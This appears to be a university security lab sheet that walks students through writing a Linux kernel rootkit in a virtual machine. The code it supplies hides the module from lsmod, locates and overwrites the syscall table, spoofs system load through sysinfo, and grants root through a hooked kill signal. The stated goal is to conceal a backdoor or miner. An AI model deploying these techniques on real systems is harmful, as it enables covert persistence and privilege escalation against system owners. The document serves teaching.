COMSM0049

Lab 7: kernel rootkit

This lab continue our introduction to linux kernel programming and OS security following lab 3. In this lab you will build a rootkit (please, watch the corresponding video from week 6).

Week 6 - Video 1

Warning

Kernel development should not be done on your working OS! You may lose data (e.g. crash may corrupt the file system) or you may have difficulty to boot the machine. A few suggestions:

Rootkit

A kernel rootkit is a piece of software designed to hide the presence of a malware from users and administrators. The rootkit is designed to hide another piece of malware such as for example an ssh backdoor. This is what you are going to do in this lab.

For example, in a scenario where an attacker has compromised a webserver he may install a backdoor to enter the system more easily in the future rather than exploiting the vulnerability again. This can be achieved for example by installing an ssh service on the machine (i.e. a backdoor). However, if an administrators do something as simple as ps it may see an unusual ssh daemon service running and remove it.

A kernel rootkit is a module running in the kernel. Kernel module have unlimited access to the kernel address space and have unrestricted access to the entire kernel memory. The rootkit modify data structures and/or kernel behaviour in order to hide the presence of malicious code. For example, our rootkit may hide the process from the ps command, hide the binaries in the file system, the open socket from netstat etc.

The goal of this lab is to build such a rootkit!

Step 0: Setup your vagrant machine

I strongly (as in you will run in a lot of issue otherwise) to setup a virtual environment through the following vagrant script.

You can tweak the configuration in the Vagrantfileto run optimally on your hardware:

config.vm.provider "virtualbox" do |vb|
  # Display the VirtualBox GUI when booting the machine
  vb.gui = true
  # Customize the amount of memory on the VM:
  vb.memory = "8192"
  # Customize CPU cap
  vb.customize ["modifyvm", :id, "--cpuexecutioncap", "70"]
  # Customize number of CPU
  vb.cpus = 6
  # Customize VM name
  vb.name = "lab7"
end

Step 1: Building a kernel module

The first thing we are going to do is build a simple hello world kernel module. Kernel modules are used to add functionality to the kernel and can be dynamically loaded. You should all be familiar with drivers and you may have for example installed the nouveau drivers for nvidia card if you play video games on your Linux machine.

If you setup your VM correctly, you should have a guest folder on your host machine in the same directory as you Vagrantfile. This folder maps to the /vagrant file on your guest machine.

Create a file rootkit.c in this folder. And put in the following content:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Thomas");
MODULE_DESCRIPTION("Hello Module");
MODULE_VERSION("0.0.1");

static int __init lkm_example_init(void) {
 printk(KERN_INFO "Hello, World!\n");
 return 0;
}

static void __exit lkm_example_exit(void) {
 printk(KERN_INFO "Goodbye, World!\n");
}

module_init(lkm_example_init);
module_exit(lkm_example_exit);

If you remember Lab 3 this should looks familiar. The first few lines contains headers. Then a number of metadata associated with your module. An init and exit function, and finally we register those two functions.

Now we need to build our kernel module, to do so you need to create a Makefile, with the following content:

obj-m += rootkit.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

We then need to install the kernel headers as follow:

sudo apt-get install linux-headers-`uname -r`

Then simply run make all. A bunch of files should get generated.

To load your module:

sudo insmod rootkit.ko

To check that your module has loaded:

dmesg
lsmod | grep rootkit

To remove your module:

sudo rmmod rootkit.ko

To check that your module has been unloaded:

dmesg
lsmod | grep rootkit

We can hide our module, so an unsuspecting user won’t know that we are there:

#include <linux/list.h>

struct list_head *module_list;

void hide(void)
{
    module_list = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
}

void unhide(void)
{
    list_add(&THIS_MODULE->list, module_list);
}

Question: Where should you use those functions? To verify it works, load your module and run the following commands:

dmesg
lsmod | grep rootkit

You should see the output of your module, but it should not be on the list! If you don’t use unhide the module cannot be uninstalled! Think carefully about when/how unhide should be used. You may need to purse further, in the lab to find a solution. In the meantime, you can restart the VM if you want to get back to a state where your module is not loaded.

Step 2: Wrapping system calls

The next step in building our rootkit is to wrap our system call table as to modify the behaviour of system calls.

The first thing to do is to write a function that will find the system call table. The code to do this is reasonably simple:

#include <linux/syscalls.h>

#define START_ADDRESS 0xffffffff81000000
#define END_ADDRESS 0xffffffffa2000000
#define SYS_CALL_NUM 300

void **find_syscall_table(void)
{
    void **sctable;
    void *i = (void*) START_ADDRESS;

    while (i < (void*)END_ADDRESS) {
        sctable = (void **) i;
        // sadly only sys_close seems to be exported -- we can't check against more system calls
        if (sctable[__NR_close] == (void *) sys_close) {
        size_t j;
        // sanity check: no function pointer in the system call table should be NULL
        for (j = 0; j < SYS_CALL_NUM; j ++) {
            if (sctable[j] == NULL) {
                goto skip;
            }
        }
        return sctable;
        }
        skip:
        i += sizeof(void *);
    }

    return NULL;
}

Question: Explain this code.

Now let’s modify your init function and see if this work!

void **sys_call_table;

static int __init lkm_example_init(void) {
    printk(KERN_INFO "Hello, World!\n");

    sys_call_table = find_syscall_table();
    pr_info("Found sys_call_table at %p\n", sys_call_table);
    return 0;
}

If you load your module, and use dmesg, you should see something like this:

[ 5812.810179] Hello, World!
[ 5812.811105] Found sys_call_table at ffffffff81801320

Now we are going to modify the behaviour of the read system call. We have a bit of work to do.

First, the system call table is normally write protected. We need to be able to turn that off:

#define DISABLE_W_PROTECTED_MEMORY \
    do { \
        preempt_disable(); \
        write_cr0(read_cr0() & (~ 0x10000)); \
    } while (0);
#define ENABLE_W_PROTECTED_MEMORY \
    do { \
        preempt_enable(); \
        write_cr0(read_cr0() | 0x10000); \
    } while (0);

Now we can write our “hacked” function:

unsigned long read_count = 0;

asmlinkage long (*original_read)(unsigned int, char __user *, size_t);

asmlinkage long hacked_read(unsigned int fd, char __user *buf, size_t count)
{
    read_count ++;

    pr_info("%d reads so far!\n", read_count);
    return original_read(fd, buf, count);
}

static int __init lkm_example_init(void) {
    printk(KERN_INFO "Hello, World!\n");

    sys_call_table = find_syscall_table();
    pr_info("Found sys_call_table at %p\n", sys_call_table);

    void **modified_at_address = &sys_call_table[__NR_read];
    void *modified_function = hacked_read;

    DISABLE_W_PROTECTED_MEMORY
    original_read = xchg(modified_at_address, modified_function);
    ENABLE_W_PROTECTED_MEMORY

    return 0;
}

This is as simple as that!

Question: Explain this code.

Once you have built and loaded your module, you should now see something like this:

[ 7863.500563] 529637 reads so far!
[ 7863.500566] 529638 reads so far!
[ 7863.500569] 529639 reads so far!
[ 7863.500572] 529640 reads so far!
[ 7863.540219] 529641 reads so far!
[ 7863.540381] 529642 reads so far!
[ 7863.540553] 529643 reads so far!
[ 7863.540966] 529644 reads so far!

If you try to remove your module, your kernel will promptly crash! (if it happened to you simply reboot the machine) This is happening because we forgot to restore our system call table to its original state!

Question: modify your lkm_example_exit to restore the system call table. Think carefully about what may be happening and when it should happen.

Hint: you need to use code similar to this, but putting back original_read.

void **modified_at_address = &sys_call_table[__NR_read];
void *modified_function = hacked_read;

DISABLE_W_PROTECTED_MEMORY
original_read = xchg(modified_at_address, modified_function);
ENABLE_W_PROTECTED_MEMORY

Question: Similarly implement a “hacked” write system call.

Step 3: Hiding resource usage

The malware our rootkit want to hide may be using a lot of CPU resources (e.g. doing some crypto mining or launching remote attacks). We want to prevent the user from noticing this.

In Linux, you retrieve such information via the sysinfo system call.

Question: As you did previously for read and write, “hack” the sysinfo system call and modify, in the structure returned by the original system call, the values in load by random values so that the system load appears to be between 0% and 20% (you may need to put some thought into it as fully random value are not a great idea). You may want to use the get_random_bytes function.

Step 4: Root whenever!

You can “hack” the kill system call that pass signal to processes to grant root privilege to any process.

Your “hacked” kill system call may look something like this:

asmlinkage int
hacked_kill(pid_t pid, int sig)
{
	struct task_struct *task;

	switch (sig) {
		case SIGSUPER:
			give_root();
			break;
		default:
			return orig_kill(pid, sig);
	}
	return 0;
}

Note: you need to define the signal. Do look at UNIX/LINUX signal documentation.

Question: implement the give_root function. See the skeleton bellow and check the cred data structure:

void give_root(void)
{
    struct cred *newcreds;
    newcreds = prepare_creds();
    if (newcreds == NULL)
    	return;
    // TODO set the newcreds structure to give root privilege
    commit_creds(newcreds);
}

Step 5: going further

We have just started our journey in building a complete rootkit. There is a lot of extra functionality that you can explore. A few of them are listed bellow (in order of difficulty):

There is a lot you can potentially do, if you have the time/will feel free to go crazy on this.